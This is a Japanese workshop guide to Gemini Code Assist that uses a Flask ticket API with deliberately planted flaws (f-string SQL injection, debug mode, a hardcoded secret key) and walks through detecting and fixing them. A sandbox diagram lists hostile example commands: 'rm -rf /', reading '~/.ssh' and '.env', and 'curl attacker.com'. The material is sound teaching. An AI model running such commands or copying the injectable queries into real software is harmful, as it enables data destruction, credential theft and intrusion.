Hands-on Workshop

Gemini Code Assist ハンズオン

Context Engineering / Agentic Coding / Secure Development

⏲ 60分
💻 VSCode + Python Flask
🎯 中級

Workshop Agenda

Chapter 0

セットアップ確認

事前準備の確認(インストールは事前作業として完了済み)2分

事前準備チェックリスト

  • VSCode がインストールされている
  • Gemini Code Assist 拡張機能がインストール・ログイン済み
  • Python 3.9 以上がインストールされている
  • リポジトリを git clone し、starter/ フォルダを VSCode で開いている
  • 仮想環境のセットアップが完了している(下記参照)
  • python app.py でサーバーが起動し http://localhost:5000 にアクセスできる
環境のセットアップ
お使いの環境を汚さないよう、仮想環境を使用してセットアップしてください。venv または uv のどちらかをお選びください。

Step 1: clone して VSCode で開く

ターミナル(OS のターミナルでも VSCode のターミナルでも可)で clone します。

git clone https://github.com/nozoyoshida/gca-handson.git
VSCode で開くフォルダに注意
VSCode の File → Open Foldergca-handson/starter/ フォルダを開いてください(gca-handson/ ルートではありません)。
GEMINI.md は VSCode で開いているフォルダ(ワークスペースルート)から読み込まれます。開くフォルダを間違えると、Ch.2 以降で Gemini がプロジェクトの規約を読み込めず、演習の効果が得られません。

Step 2: 仮想環境のセットアップ

以降のコマンドは VSCode の統合ターミナル(Ctrl+`)で実行してください。starter/ を開いているので、ターミナルは最初から starter/ にいます。

Option A: venv を使う場合
# 1. Python 仮想環境を作成・有効化
python3 -m venv .venv
source .venv/bin/activate   # Windows: .venv\Scripts\activate

# 2. 依存パッケージをインストール
pip install -r requirements.txt
Option B: uv を使う場合(推奨)
uv とは
uv は Rust 製の高速な Python パッケージマネージャーです。venv + pip の代替として、仮想環境の作成から依存管理まで一括で行えます。
# 0. uv のインストール(未インストールの場合)
curl -LsSf https://astral.sh/uv/install.sh | sh   # macOS/Linux
# Windows: powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"

# 1. uv で仮想環境作成 + 依存インストール
uv venv
uv pip install -r requirements.txt

# 2. 仮想環境を有効化
source .venv/bin/activate   # Windows: .venv\Scripts\activate

Step 3: アプリを起動して動作確認

python app.py
# http://localhost:5000 にアクセスできればOK

題材アプリ: お問い合わせ管理 API

Flask + SQLite で構築したシンプルなチケット管理 REST API です。

MethodPath説明
GET/ticketsチケット一覧取得(status, priority でフィルタ可)
GET/tickets/<id>チケット詳細取得
POST/ticketsチケット作成
PUT/tickets/<id>チケット更新
PATCH/tickets/<id>/statusステータス変更
GET/tickets/search?q=チケット検索
starter/ ├── app.py # Flask アプリケーション本体 ├── GEMINI.md # Ch.2 で編集(空ファイル) ├── .gemini/ │ └── styleguide.md # Ch.2 で編集(空ファイル) ├── templates/ # Jinja2 テンプレート(GUI) │ ├── base.html │ ├── index.html │ └── ticket_detail.html ├── requirements.txt # 依存パッケージ └── .gitignore
macOS でポート 5000 が使用中の場合
macOS Monterey 以降では、AirPlay Receiver がポート 5000 を使用しています。python app.pyAddress already in use エラーが出る場合は、代わりに flask run -p 5001 で起動してください。以降のガイドで localhost:5000 と記載されている箇所は localhost:5001 に読み替えてください。
Chapter 1

基本操作

コード補完・チャットパネル・インラインチャットの3つのインタラクション 10分

この Chapter では提案を Accept しないでください
Ch.1 では Gemini Code Assist の3つのインタラクションを体験しますが、提案されたコードは全て Decline(却下)してください。Ch.2 以降の演習で app.py を本格的に編集するため、ここではコードを変更せずに操作感を掴むことが目的です。
1-1. コード補完(Tab) 3分
app.py をエディタで開き、ファイル末尾(if __name__ の直前)に移動します。
以下のコードを入力し始めてください:
@app.route('/health')
def 
Gemini がヘルスチェック関数を提案します。提案内容を確認したら、Esc キーで Decline してください。入力した文字も削除して元の状態に戻してください。
Insight
Gemini は現在開いているファイルだけでなく、プロジェクト全体のコードパターンを読み取って補完を生成します。既存エンドポイントのスタイル(jsonify の使い方、レスポンス形式など)に合わせた提案になっていることを確認してみてください。
1-2. チャットパネル + @ ファイル参照 4分
サイドバーの Gemini アイコン をクリックしてチャットパネルを開きます。
チャット欄に @ を入力すると、ファイル一覧のドロップダウンが表示されます。app.py を選択してください。
Gemini に入力するプロンプト
@app.py の get_db() 関数と init_db() 関数を説明して、改善点を提案してください
Gemini の回答を確認してください。データベース接続の管理方法、シード データの投入ロジック、改善提案(コンテキストマネージャの使用など)が含まれているはずです。コードの変更提案があっても Accept しないでください。
@ メンションの種類
@ を入力すると、ファイルだけでなくフォルダも指定できます。複数のファイルを @ で指定することで、Gemini に適切なコンテキストを与えることができます。
1-3. インラインチャット 3分
app.pyget_tickets() 関数内にカーソルを置きます。
Ctrl+I(Mac: Cmd+I)でインラインチャットを起動します。
インラインチャットに入力
limit と offset のクエリパラメータでページネーションを追加して
Gemini が get_tickets() を直接編集する差分を提案します。提案内容を確認したら、Decline してください
Insight
チャットパネルは議論・質問向き、インラインチャットはコードの直接編集向きです。用途に応じて使い分けましょう。
Chapter 2

Context Engineering

GEMINI.md でプロジェクトの規約を AI に伝え、出力品質を劇的に変える 15分

Context Engineering とは
AI に渡すコンテキスト(指示・背景情報・規約)を設計・最適化すること。プロンプトだけでなく、プロジェクトレベルの設定ファイルで一貫した品質を確保するのがポイントです。
2-1. Before: GEMINI.md なしでコード生成 3分
チャットパネルを開き、以下のプロンプトを入力します:
Gemini に入力するプロンプト
@app.py チケットにカテゴリ分類機能を追加してください。カテゴリはマスターテーブルで管理し、チケット作成時にカテゴリを指定できるようにしてください。また、カテゴリ別のチケット集計APIも作成してください。
生成されたコードの以下の点を観察してください
コードを Accept しないでください
この演習は観察が目的です。生成されたコードは Accept せず、Decline してください。Accept すると Exercise 2-3 の Before/After 比較ができなくなります。誤って Accept した場合は Ctrl+Z(Mac: Cmd+Z)で元に戻してください。
  • 変数名の命名規則は統一されているか?
  • エラーハンドリングはあるか?形式は?
  • SQL クエリにパラメータ化クエリが使われているか?
  • docstring やコメントはあるか?
観察のヒント: 既存コード (app.py) にはどんな課題がある?

1. 命名規則

現在のコードはたまたま snake_case で書かれていますが、明示的なルールとして定義されていません。GEMINI.md がない状態では、Gemini が ticketId (camelCase) と ticket_id (snake_case) を混在させるコードを生成する可能性があります。

2. エラーハンドリング

バラバラで不十分です:

get_ticket()'Ticket not found' と英語
create_ticket()エラーハンドリングが一切ない — 空の title でも 201 が返る
search_tickets()エラーハンドリングが一切ない
update_status()任意の文字列("hacked" 等)をステータスとして受け付ける

また、request.get_json()None を返すケース(Content-Type ヘッダーなし等)への対処もなく、AttributeError がそのまま 500 エラーとして露出します。

3. SQL クエリ

安全なクエリと危険なクエリが混在しています:

関数方式安全性
create_ticket()? プレースホルダー安全
get_ticket()? プレースホルダー安全
get_tickets() フィルタf-string f"...'{status}'"SQLi 脆弱性
search_tickets()f-string f"...'%{q}%'"SQLi 脆弱性

統一されたルールがないため、同じ開発者(や AI)が書いたコード内でも安全性にばらつきが生じています。

4. docstring / コメント

全14関数のうち、docstring がある関数は 0 個です。関数の目的、引数、戻り値、どのステータス遷移が許可されるか等が一切文書化されていません。

Insight
これらの課題は、開発者が意識していないと AI も同じパターンで生成してしまいます。GEMINI.md で規約を明示することで、AI の出力を一貫してコントロールできるようになります。
2-2. GEMINI.md を作成する 4分
プロジェクトルートの GEMINI.md(空ファイルが用意されています)を開き、以下の内容をコピーしてください:
# お問い合わせ管理 API

## プロジェクト概要
Flask と SQLite を使用したチケット管理 REST API です。
顧客からのお問い合わせをチケットとして管理し、
ステータス管理・検索・集計機能を提供します。

## コーディング規約

### 命名規則
- 変数名・関数名: snake_case
- 定数: UPPER_SNAKE_CASE
- HTTPステータスコード: 定数で定義せず数値リテラルを使用

### ドキュメント
- 全ての関数に Google Style の docstring を記述すること
- 複雑なロジックには日本語でコメントを付けること
- API エンドポイントの docstring には HTTP メソッドとパスを含めること

### エラーハンドリング
- API レスポンスは必ず JSON 形式で返すこと
- エラー時は {"error": "説明"} の形式で適切な HTTP ステータスコードを返す
- 400: バリデーションエラー、404: リソース未検出、500: サーバーエラー

### データベース
- SQL クエリには必ずパラメータ化クエリ(? プレースホルダー)を使用
- f-string や % 演算子で SQL を組み立てることは禁止
- データベース接続は使用後に必ず close すること

### バリデーション
- 全てのユーザー入力に対してバリデーションを実施すること
- 文字列フィールドには最大長制限を設けること
- ステータスは許可された値のみ受け付けること(enum パターン)

### セキュリティ
- 秘密鍵やパスワードをハードコードしてはならない
- 本番環境では debug モードを無効にすること
ファイルを保存します。Gemini は次のプロンプトから自動的にこのファイルを読み込みます。
GEMINI.md の階層構造
~/.gemini/GEMINI.md(グローバル)、プロジェクトルートの GEMINI.md、サブディレクトリの GEMINI.md の順に読み込まれます。会社全体の規約をグローバルに、プロジェクト固有のルールをプロジェクトルートに置くことで、チーム全体で一貫した AI 出力を得られます。
2-3. After: GEMINI.md ありでコード生成 3分
新しいチャットセッションを開始してください(チャットパネル上部の「+」ボタン)。
なぜ新しいセッションが必要か
前のセッションにはチャット履歴(Exercise 2-1 のやり取り)が残っています。同じセッションでプロンプトを再送すると、その履歴も含めて Gemini が応答するため、GEMINI.md の効果だけを正しく比較できません。新しいセッションでは GEMINI.md のみが追加コンテキストとなり、Before/After の差が明確になります。
Exercise 2-1 と全く同じプロンプトを入力します:
同じプロンプトを再度入力
@app.py チケットにカテゴリ分類機能を追加してください。カテゴリはマスターテーブルで管理し、チケット作成時にカテゴリを指定できるようにしてください。また、カテゴリ別のチケット集計APIも作成してください。
Before / After の違いを比較してみてください:
Before(GEMINI.md なし)
  • 命名規則がバラバラ
  • エラーハンドリングが不十分
  • docstring がないことがある
  • SQL にパラメータ化クエリが使われない場合がある
  • バリデーションなし
After(GEMINI.md あり)
  • 一貫した snake_case
  • {"error": "..."} 形式のレスポンス
  • Google Style docstring 付き
  • パラメータ化クエリ使用
  • 入力バリデーション付き
Insight
同じプロンプトでも、GEMINI.md があるだけで出力品質が劇的に変わります。GEMINI.md は、プロジェクトに追加できる最もレバレッジの高いファイルです。一度書けば、チームメンバー全員の AI インタラクションが改善されます。
2-4. .gemini/styleguide.md を作成する 3分
.gemini/styleguide.md(空ファイルが用意されています)を開き、以下の内容をコピーしてください:
.gemini/ は隠しフォルダです
VSCode のエクスプローラーで .gemini/ フォルダが見えない場合は、ターミナルから直接開いてください:code .gemini/styleguide.md。または、エクスプローラー上部の ... メニュー →「Show Hidden Files」で表示できます。
# コードレビュー スタイルガイド

## 必須チェック項目

### セキュリティ
- SQL クエリにユーザー入力を直接埋め込んでいないか
- 入力バリデーションが実装されているか
- 秘密情報がハードコードされていないか

### コード品質
- 関数に docstring が記述されているか
- エラーハンドリングが適切か
- 変数名が snake_case で命名されているか

### Flask 固有
- レスポンスが jsonify() で返されているか
- HTTP ステータスコードが適切か
- データベース接続が適切にクローズされているか
.gemini/styleguide.md の役割
GitHub と連携している場合、Pull Request が作成されると Gemini がこのファイルのルールに基づいて自動的にコードレビューを実施します。自然言語でルールを書くだけで、チームのレビュー基準が自動化されます。

Gemini Code Review の仕組み

flowchart TD
    A["Developer
git push"] --> B["Pull Request 作成"] B --> C{"Gemini Code Review
自動起動"} C --> D["styleguide.md
ルールに基づく検査"] C --> E["コード差分分析
バグ・品質の指摘"] C --> F["セキュリティチェック
SQLi, CSRF 等の検出"] D --> G["PR にレビューコメント投稿"] E --> G F --> G style A fill:#e8f0fe,stroke:#4285f4,color:#202124 style B fill:#e8f0fe,stroke:#4285f4,color:#202124 style C fill:#fff3e0,stroke:#f9ab00,color:#202124 style D fill:#e6f4ea,stroke:#34a853,color:#202124 style E fill:#e6f4ea,stroke:#34a853,color:#202124 style F fill:#fce8e6,stroke:#ea4335,color:#202124 style G fill:#e8f0fe,stroke:#1a73e8,color:#202124
セットアップ方法
  1. GitHub Marketplace から Gemini Code Assist アプリをリポジトリにインストール
  2. リポジトリのルートに .gemini/styleguide.md を配置
  3. PR を作成すると、Gemini が自動的にレビューコメントを投稿

styleguide.md がない場合でも一般的なベストプラクティスに基づいてレビューされますが、プロジェクト固有のルールを定義することでレビュー精度が大幅に向上します。

2-5. 解説 2分
ファイル用途読み込みタイミング
GEMINI.mdプロジェクトの規約・コンテキスト全てのプロンプトで自動
.gemini/styleguide.mdコードレビュールールPR レビュー時
@ ファイル参照特定ファイルのコンテキスト追加プロンプトで明示指定時
持ち帰りアクション
明日から自分のプロジェクトに GEMINI.md を追加してみてください。10分の投資で、チーム全体の AI 出力品質が向上します。
Chapter 3

Agentic Coding

Agent モードで複数ファイルにまたがる機能を一気に実装する 18分

Agent モードとは
通常のチャットが「質問 → 回答」なのに対し、Agent モードは「目標を伝える → 計画を提案 → 承認後に自動実行」というワークフローです。複数ファイルの作成・編集、ターミナルコマンドの実行まで、Gemini が自律的に行います。
3-1. Agent モードを有効にする 2分
チャットパネルを開きます。
チャット入力欄の上部にある Agent モードのトグル をオンにします(またはドロップダウンから「Agent」を選択)。
Agent モードの動作フロー
1. 分析: プロジェクト全体のコードを読み取り
2. 計画: 変更内容の計画を提示
3. 承認: ユーザーが計画をレビュー・承認
4. 実行: コードの生成・編集を自動実行
3-2. 対応履歴機能を追加する 6分
Agent モードの出力は毎回異なります
生成 AI の出力は毎回変わるため、講師の画面や隣の参加者と結果が異なっても正常です。大事なのは計画の内容が妥当かをレビューする体験です。想定と大きく異なる場合は completed/app.py を参照してください。
Agent モードのチャットに以下のプロンプトを入力します:
Agent モードに入力するプロンプト
お問い合わせ管理APIに対応履歴機能を追加してください。

要件:
1. responses テーブルを作成する。カラムは id, ticket_id (外部キー → tickets.id), responder (TEXT), message (TEXT), is_internal (BOOLEAN, デフォルト 0), created_at
2. init_db() 内に CREATE TABLE IF NOT EXISTS で responses テーブルの作成を追加する(既存テーブルに影響を与えないこと)
3. GET /tickets/<id>/responses - 指定チケットの対応履歴を時系列で取得
4. POST /tickets/<id>/responses - 対応履歴を追加(responder, message は必須、is_internal はオプション)
5. チケットが存在しない場合は 404 を返す
6. チケット詳細画面(ticket_detail.html)に対応履歴の一覧を表示するセクションを追加する。内部メモには「内部メモ」バッジを表示する
Gemini が実行計画を提示します。計画の内容を確認して 承認 してください。
Agent が処理中の間に
Agent がコードを生成している間、completed/app.py を開いて完成形のコードを確認しておくと、Agent の出力と比較しやすくなります。
計画レビューのポイント
プロンプトで具体的に指示しているので、計画は概ね正しいはずです。以下の点だけ軽く確認してください:
  • responses テーブルに is_internal カラムが含まれているか
  • ticket_id に外部キー制約が設定されているか
  • GET と POST の両方のエンドポイントが計画に含まれているか
Insight
単一のプロンプトから、データベーステーブルの設計・API エンドポイント・バリデーションまで、一貫したコードが生成されます。計画のレビューステップが「あなたの価値を発揮する場所」です。アーキテクチャの問題はコードが書かれた後ではなく、計画段階で指摘しましょう。
3-3. GEMINI.md との相乗効果を確認 5分
Agent が生成したコードを確認し、以下の点をチェックしてください:
GEMINI.md の規約が適用されているか確認
  • snake_case の命名規則に従っているか
  • Google Style の docstring が付いているか
  • パラメータ化クエリを使用しているか(f-string ではなく)
  • エラーレスポンスが {"error": "..."} 形式か
  • 入力バリデーションが含まれているか
Agent モード + GEMINI.md = 一貫性
GEMINI.md がないと Agent の出力はプロンプトごとにスタイルがバラつきます。GEMINI.md があることで、Agent モードでも一貫した規約に沿ったコードが生成されます。
3-4. 動作確認 5分
アプリを再起動します:
# ターミナルで実行
python app.py
新しいエンドポイントをテストします:
# 対応履歴を追加
curl -X POST http://localhost:5000/tickets/1/responses \
  -H "Content-Type: application/json" \
  -d '{"responder": "鈴木", "message": "パスワードリセットのリンクを送信しました", "is_internal": false}'

# 内部メモを追加
curl -X POST http://localhost:5000/tickets/1/responses \
  -H "Content-Type: application/json" \
  -d '{"responder": "山田", "message": "原因調査中。認証基盤側の障害の可能性あり", "is_internal": true}'
Windows(PowerShell)の場合
# 対応履歴を追加
curl -X POST http://localhost:5000/tickets/1/responses `
  -H "Content-Type: application/json" `
  -d "{\"responder\": \"鈴木\", \"message\": \"パスワードリセットのリンクを送信しました\", \"is_internal\": false}"

# 内部メモを追加
curl -X POST http://localhost:5000/tickets/1/responses `
  -H "Content-Type: application/json" `
  -d "{\"responder\": \"山田\", \"message\": \"原因調査中。認証基盤側の障害の可能性あり\", \"is_internal\": true}"
ブラウザで http://localhost:5000/tickets/1/view を開き、チケット詳細画面に対応履歴セクションが追加されていることを確認してください:
  • 鈴木さんの対応記録が表示されているか
  • 山田さんの内部メモに「内部メモ」バッジが付いているか
  • 時系列順に並んでいるか
Insight
Agent モードは API エンドポイントだけでなく、GUI テンプレートの更新まで一貫して行えるのがポイントです。バックエンド + フロントエンドにまたがる変更を1つのプロンプトで完結できます。
Chapter 4

セキュア開発

脆弱性を検出し、修正し、ルールとして定着させる 13分

このアプリには意図的な脆弱性が含まれています
starter/app.py には、教育目的で以下の脆弱性が意図的に埋め込まれています。これらは本番コードでは絶対に使用してはなりません。
Ch.3 で一部修正済みの場合があります
Ch.2 で追加した GEMINI.md にセキュリティ規約が含まれているため、Ch.3 の Agent モードがコード生成時に一部の脆弱性を自動的に修正している可能性があります。その場合は、残っている脆弱性に集中してください。これは GEMINI.md の効果が実際に機能している証拠でもあります。
脆弱性場所内容
SQLisearch_tickets()f-string で SQL を組み立て
SQLiget_tickets() フィルタstatus パラメータを直接 SQL に埋め込み
Validationupdate_status()任意の文字列をステータスとして受け付ける
Configapp.run()debug=True でデバッガー露出
Secretsapp.secret_key秘密鍵がハードコード
4-1. Gemini で脆弱性を検出する 4分
チャットパネルで以下のプロンプトを入力します:
Gemini に入力するプロンプト
@app.py このコードをセキュリティの観点で包括的にレビューしてください。OWASP Top 10 を基準に、SQLインジェクション、入力バリデーション、認証・認可、設定の問題に注目してください。各脆弱性について、リスクレベルと具体的な修正方法も提案してください。
Gemini の検出結果を確認してください。上記の5つの脆弱性が全て検出されるか確認しましょう。
Insight
Gemini は SQL インジェクションのような技術的な脆弱性だけでなく、設定ミス(debug=True)やハードコードされた秘密鍵なども検出します。AI はセキュリティの専門家を代替しませんが、最初のパスのコストを劇的に下げます。
4-2. Agent モードで脆弱性を修正する 4分
Agent モードをオンにして、以下のプロンプトを入力します:
Agent モードに入力するプロンプト
このコードベースのセキュリティ脆弱性を全て修正してください。

具体的に:
1. 全ての SQL インジェクションをパラメータ化クエリで修正
2. チケットの title フィールドに入力バリデーション追加(1-200文字、HTML タグ除去)
3. ステータス更新時に許可された値のみ受け付けるバリデーション追加
4. secret_key を環境変数から読み込むように変更
5. debug モードを環境変数で制御するように変更
Agent の計画をレビューし、承認してください。
修正後、特に search_tickets() のコードが以下のように変わっていることを確認:
Before(脆弱)
sql = f"SELECT * FROM tickets
WHERE title LIKE '%{q}%'"
db.execute(sql)
After(安全)
sql = "SELECT * FROM tickets
WHERE title LIKE ?"
db.execute(sql, (f'%{q}%',))
4-3. セキュリティルールを styleguide.md に定着させる 3分
.gemini/styleguide.md を開き、以下のセキュリティルールを先頭に追加します:
## セキュリティ(最優先)

### SQL インジェクション防止
- f-string、% 演算子、.format() を SQL 文で絶対に使用しないこと
- 必ずパラメータ化クエリ(? プレースホルダー)を使用すること

### 入力バリデーション
- 全てのユーザー入力に対してバリデーションを実施すること
- 文字列フィールドには最大長制限を設けること
- HTML タグやスクリプトタグを除去またはエスケープすること
- ステータス等の列挙値は許可リストで検証すること

### 設定
- 秘密鍵は環境変数から読み込むこと
- 本番環境で debug=True を使用しないこと
- エラーメッセージに内部情報(スタックトレース等)を含めないこと
Insight
セキュリティの知識をエンジニアの頭の中だけでなく、プロジェクトのコードとして定着させることが重要です。styleguide.md に書いたルールは、GitHub 上で Pull Request が作成されるたびに自動的にチェックされます。
4-4. 補足: Google Cloud のセキュア AI 開発エコシステム 2分

Gemini Code Assist のセキュリティ機能に加え、Google Cloud にはAI を安全に活用するためのエコシステムがあります。

機能説明
PR 自動レビュー GitHub 連携時、PR 作成で自動的にセキュリティ観点のレビューを実施(SQLi, CSRF, IDOR, 不安全なデータ処理を検出)
styleguide.md 自然言語で定義したルールに基づく自動コードレビュー
Snyk MCP 連携 MCP サーバーとして Snyk を接続し、コード生成時にリアルタイムで脆弱なパターンを検出

Gemini CLI の Sandbox モード

gVisor によるサンドボックス実行
Gemini CLI では、AI が実行するシェルコマンドやファイル操作を gVisor(ユーザースペースカーネル)で隔離実行できます。全てのシステムコールがサンドボックス内で処理されるため、AI が意図しない操作でホスト環境を破壊するリスクを排除できます。

主な特徴:
  • 許可ベースのアクセス制御 — 明示的に許可されたファイル・リソースのみアクセス可能
  • シェルコマンドの事前検証 — 実行前に安全性を確認
  • /security:analyze コマンド — git diff を対象にハードコードされた秘密情報、インジェクション脆弱性、アクセス制御の問題を検出
Without Sandbox
flowchart TB
    A1["Gemini CLI"] --> B1["Gemini Model\nコマンド生成"]
    B1 --> C1["ホスト OS 上で\n直接実行"]
    C1 --> D1["rm -rf /\n意図しない削除"]
    C1 --> E1["機密ファイル読取\n~/.ssh/*, .env"]
    C1 --> F1["外部送信\ncurl attacker.com"]

    style A1 fill:#e8f0fe,stroke:#4285f4,color:#202124
    style B1 fill:#e6f4ea,stroke:#34a853,color:#202124
    style C1 fill:#fce8e6,stroke:#ea4335,color:#202124
    style D1 fill:#fce8e6,stroke:#ea4335,color:#202124
    style E1 fill:#fce8e6,stroke:#ea4335,color:#202124
    style F1 fill:#fce8e6,stroke:#ea4335,color:#202124
            
With Sandbox (gVisor)
flowchart TB
    A2["Gemini CLI"] --> B2["Gemini Model\nコマンド生成"]
    B2 --> SB

    subgraph SB["gVisor Sandbox — 隔離されたユーザースペースカーネル"]
      direction TB
      G2["全 syscall を仲介"] --> D2["プロジェクト内\nファイル操作 ✓"]
      G2 --> E2["許可されたコマンド\n実行 ✓"]
    end

    G2 --x|"ブロック"| F2["ホスト OS\nスコープ外アクセス拒否"]

    style A2 fill:#e8f0fe,stroke:#4285f4,color:#202124
    style B2 fill:#e6f4ea,stroke:#34a853,color:#202124
    style SB fill:#fef7e0,stroke:#f9ab00,color:#202124
    style G2 fill:#fef7e0,stroke:#f9ab00,color:#202124
    style D2 fill:#e6f4ea,stroke:#34a853,color:#202124
    style E2 fill:#e6f4ea,stroke:#34a853,color:#202124
    style F2 fill:#fce8e6,stroke:#ea4335,color:#202124
            

Model Armor

LLM の入出力を守るセキュリティレイヤー
Model Armor は、LLM のプロンプト(入力)とレスポンス(出力)をリアルタイムでスクリーニングする Google Cloud のセキュリティサービスです。Gemini だけでなく、OpenAI や Anthropic など全てのモデルに対応しています。

主な機能:
  • プロンプトインジェクション検出 — 高度な ML でジェイルブレイク攻撃を検出・ブロック
  • 有害コンテンツフィルタリング — ヘイトスピーチ、ハラスメント等を設定可能な信頼度レベルで制御
  • 機密データ保護 — Cloud DLP 連携で 150 種類以上の PII を検出・マスキング
  • マルウェア・不正 URL 検出 — ファイルや URL の安全性を検証

Model Armor を使うことで、LLM へのプロンプト(入力)とレスポンス(出力)の両方をリアルタイムでチェックし、プロンプトインジェクションや機密データの漏洩を未然に防ぐことができます。
flowchart LR
    A["User Input"] --> B
    subgraph B["Model Armor - 入力"]
      direction TB
      B1["Prompt Injection 検出"]
      B2["PII マスキング"]
      B3["不正 URL ブロック"]
    end
    B --> C["Gemini\nCode Assist"]
    C --> D
    subgraph D["Model Armor - 出力"]
      direction TB
      D1["有害コンテンツ検出"]
      D2["機密データ除去"]
    end
    D --> E["Response"]

    style A fill:#e8f0fe,stroke:#4285f4,color:#202124
    style C fill:#e6f4ea,stroke:#34a853,color:#202124
    style E fill:#e8f0fe,stroke:#4285f4,color:#202124
    style B fill:#fce8e6,stroke:#ea4335,color:#202124
    style D fill:#fce8e6,stroke:#ea4335,color:#202124
          
Wrap-up

まとめ & 次のステップ

2分

本日のポイント

Chapter学んだこと持ち帰りアクション
Ch.1 基本操作 Tab補完 / チャット / インラインチャットの使い分け 日常のコーディングで使い始める
Ch.2 Context Engineering GEMINI.md で AI の出力品質を制御 明日、自分のプロジェクトに GEMINI.md を追加
Ch.3 Agentic Coding Agent モードで複雑な機能を自律実装 フィーチャーブランチで Agent モードを試す
Ch.4 セキュア開発 脆弱性検出 → 修正 → ルール化 styleguide.md にセキュリティルールを追加

AI 時代の開発者に求められること

76%→83%
コンテキスト改善による
レビュー精度の向上
Context Engineering がAI活用の成否を決める

「エージェントが成功するか失敗するかを決める最大の要因は、モデルの性能ではなくコンテキストの質である。ほとんどのエージェントの失敗は、もはやモデルの失敗ではなくコンテキストの失敗だ」

GEMINI.md のような小さな追加が、精度と信頼性に大きな改善をもたらします。今日体験したように、同じプロンプトでもコンテキスト次第で出力品質が劇的に変わります。

Sources: Martin Fowler / Anthropic / Google Cloud

1.7x
AI 生成コードは
人間より多くの問題を含む
Agentic Coding でも開発知見は不可欠

AI 生成コードは人間のコードと比較して 1.7 倍の問題を含み、45% にセキュリティ欠陥が存在するという調査結果があります。開発者の AI 提案の採用率は約 30% — 残り 70% は人間が却下しています。

AI は開発者を「コードを書く人」から「設計し、レビューし、判断する人」に変えます。ドメイン知識、アーキテクチャ設計力、セキュリティの目利きは、AI 時代にこそ重要になります。

Sources: CodeRabbit 2025 / Qodo / GitHub Blog

5日
脆弱性公開から
悪用までの期間(2025年)
攻撃者も AI を使う。防御にも AI が必要

AI サイバー攻撃は前年比 72% 増加し、87% の組織が AI ベースの攻撃を経験しています。脆弱性が公開されてから悪用されるまでの期間は、2020年の 700 日超から 2025年にはわずか 5 日にまで短縮されました。

今日体験した styleguide.md によるセキュリティルールの自動チェック、AI によるコードレビューは「あれば便利」ではなく、攻撃速度に対抗するための必須の防御手段です。

Sources: Google Cloud / DeepStrike / Deep Instinct

3つの持ち帰りアクション
  1. GEMINI.md を作成する — 10分で書けて、チーム全体の AI 出力品質が向上
  2. Agent モードをフィーチャーブランチで使う — 計画をレビューする習慣をつける
  3. styleguide.md にセキュリティルールを追加 — PR レビューを自動化する

参考リンク